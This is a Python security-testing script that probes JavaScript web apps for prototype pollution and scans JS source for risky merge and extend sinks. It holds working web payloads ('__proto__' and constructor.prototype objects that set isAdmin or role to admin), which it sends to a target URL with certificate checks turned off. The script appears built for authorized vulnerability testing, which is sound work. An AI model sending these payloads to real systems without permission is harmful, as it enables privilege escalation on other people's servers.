#!/usr/bin/env python3
"""Agent for detecting prototype pollution vulnerabilities in JavaScript applications."""

import argparse
import json
import re
from datetime import datetime, timezone

try:
    import requests
    HAS_REQUESTS = True
except ImportError:
    HAS_REQUESTS = False

PROTOTYPE_PAYLOADS = [
    {"__proto__": {"isAdmin": True}},
    {"__proto__": {"role": "admin"}},
    {"constructor": {"prototype": {"isAdmin": True}}},
    {"__proto__": {"status": 200}},
    {"__proto__": {"polluted": True}},
]

PROTOTYPE_PAYLOADS_QUERY = [
    "__proto__[isAdmin]=true",
    "__proto__[role]=admin",
    "constructor[prototype][isAdmin]=true",
    "__proto__.isAdmin=true",
]


def test_json_pollution(url, token=None):
    """Test for prototype pollution via JSON body."""
    if not HAS_REQUESTS:
        return []
    findings = []
    headers = {"Authorization": f"Bearer {token}"} if token else {}
    headers["Content-Type"] = "application/json"

    for payload in PROTOTYPE_PAYLOADS:
        try:
            resp = requests.post(url, json=payload, headers=headers, timeout=10, verify=False)
            resp_text = resp.text.lower()
            indicators = []
            if "isadmin" in resp_text and "true" in resp_text:
                indicators.append("isAdmin property reflected in response")
            if resp.status_code == 200:
                try:
                    resp_json = resp.json()
                    if resp_json.get("isAdmin") or resp_json.get("polluted"):
                        indicators.append("Prototype property present in response object")
                except json.JSONDecodeError:
                    pass
            if "500" in str(resp.status_code):
                indicators.append("Server error — potential prototype chain disruption")
            if indicators:
                findings.append({
                    "payload": str(payload),
                    "status_code": resp.status_code,
                    "indicators": indicators,
                    "severity": "CRITICAL",
                })
        except requests.RequestException:
            continue
    return findings


def test_query_pollution(url, token=None):
    """Test for prototype pollution via query parameters."""
    if not HAS_REQUESTS:
        return []
    findings = []
    headers = {"Authorization": f"Bearer {token}"} if token else {}

    for payload in PROTOTYPE_PAYLOADS_QUERY:
        try:
            test_url = f"{url}?{payload}"
            resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
            if resp.status_code == 500:
                findings.append({
                    "payload": payload, "method": "GET",
                    "status_code": 500,
                    "indicators": ["Server error from prototype pollution"],
                    "severity": "HIGH",
                })
        except requests.RequestException:
            continue
    return findings


def scan_source_code(file_path):
    """Scan JavaScript source for prototype pollution sinks."""
    findings = []
    vulnerable_patterns = [
        (r'Object\.assign\s*\([^)]*,\s*\w+\)', "Object.assign with user input"),
        (r'_\.merge\s*\(', "lodash merge (deep merge)"),
        (r'_\.defaultsDeep\s*\(', "lodash defaultsDeep"),
        (r'jQuery\.extend\s*\(\s*true', "jQuery deep extend"),
        (r'\$\.extend\s*\(\s*true', "jQuery deep extend"),
        (r'JSON\.parse\s*\([^)]*\)', "JSON.parse (check input source)"),
        (r'\.prototype\[', "Direct prototype access"),
        (r'\[(["\'])__proto__\1\]', "__proto__ string access"),
    ]
    try:
        with open(file_path, "r", errors="replace") as f:
            content = f.read()
        for i, line in enumerate(content.splitlines(), 1):
            for pattern, desc in vulnerable_patterns:
                if re.search(pattern, line):
                    findings.append({
                        "file": file_path, "line": i,
                        "pattern": desc, "code": line.strip()[:100],
                    })
    except FileNotFoundError:
        pass
    return findings


def main():
    parser = argparse.ArgumentParser(
        description="Detect prototype pollution in JavaScript apps (authorized testing only)"
    )
    parser.add_argument("--url", help="Target URL to test")
    parser.add_argument("--source", help="JavaScript source file to audit")
    parser.add_argument("--token", help="Bearer token")
    parser.add_argument("--output", "-o", help="Output JSON report")
    args = parser.parse_args()

    print("[*] Prototype Pollution Detection Agent")
    report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []}

    if args.url:
        json_findings = test_json_pollution(args.url, args.token)
        query_findings = test_query_pollution(args.url, args.token)
        report["findings"].extend(json_findings)
        report["findings"].extend(query_findings)
        print(f"[*] HTTP findings: {len(json_findings) + len(query_findings)}")

    if args.source:
        src_findings = scan_source_code(args.source)
        report["findings"].extend(src_findings)
        print(f"[*] Source code findings: {len(src_findings)}")

    report["risk_level"] = "CRITICAL" if any(
        f.get("severity") == "CRITICAL" for f in report["findings"]
    ) else "HIGH" if report["findings"] else "LOW"

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"[*] Report saved to {args.output}")
    else:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
